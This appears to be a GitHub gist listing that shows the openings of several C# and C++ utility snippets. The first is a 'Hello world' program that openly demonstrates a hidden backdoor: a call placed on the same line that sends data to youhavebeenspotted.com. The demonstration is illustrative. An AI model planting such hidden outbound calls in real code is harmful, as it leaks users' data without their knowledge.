This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Program | |
{ | |
static void Main() | |
{ | |
// it seems to be this opensource code can not have any backdoors?.. | |
System.Console.WriteLine("Hello world!"); { /* HERE's the backdoor!! */ var data = "something"; System.Net.WebRequest.Create("http://youhavebeenspotted.com/?some=" + data).GetResponseAsync(); } | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// usage : | |
// Debug.Log( HierarchySerializer.SerializeGameObject(myGameObject) ); | |
// | |
public static class HierarchySerializer | |
{ | |
public static System.Text.StringBuilder SerializeGameObject( | |
UnityEngine.GameObject go, | |
System.Text.StringBuilder sb = null, | |
int tab = 0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// IncrementalMeanCounter used to count average value in streaming mode | |
// (when it is impossible to accumulate values in a collection to compute after). | |
// | |
// (c) 2017 Yuri Tikhomirov @ ModumLab | |
// | |
public struct IncrementalMeanCounter | |
{ | |
double mean, count; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
byte [] c_BlackOnePixelPng = new byte[] { | |
0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, | |
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, | |
0xDE, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00, | |
0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, | |
0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, | |
0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x18, 0x57, 0x63, 0x60, 0x60, | |
0x60, 0x00, 0x00, 0x00, 0x04, 0x00, 0x01, 0x5C, 0xCD, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x49, | |
0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82 | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using UnityEngine; | |
using System.Collections.Generic; | |
// | |
// GUI layout tools (c) Yuri Tikhomirov at Cerevrum Inc. | |
// | |
// A useless* tool not to produce more garbage when using with Unity3D IMGUI. | |
// | |
// * - cause anyway IMGUI produces garbage inside |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// From https://gist.github.com/ytsutano/4140432 by Yutaka Tsutano | |
// Modified by Yuri Tikhomirov | |
// (https://gist.github.com/yuri-tikhomirov/a81343dfd0eeaa4cc80a32aa095a2f5d) | |
// | |
// Refactored to support CRITICAL_SECTION usage on Windows, | |
// also made calls to lock() / try_lock() / unlock() inline. | |
// | |
// Performance tests: | |
// http://preshing.com/20111124/always-use-a-lightweight-mutex/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
FastList<T> is a System.Collections.Generic.List<T> modification such, that allows to not produce garbage when using foreach. | |
Useful for old versions of c# runtime (like Mono 2.x), i.e. for Unity. | |
It implements own instance-type enumerator and caches only one instance of this enumerator inside. | |
Instance-type enumerator allows to avoid boxing that occurs when foreach converts IEnumerator to IDisposable and calls Dispose(). | |
(Default List<T> enumerator is value-type (struct), so when foreach converts to IDisposable, boxing occurs and 20 bytes of garbage will be collected.) | |
Warnings: |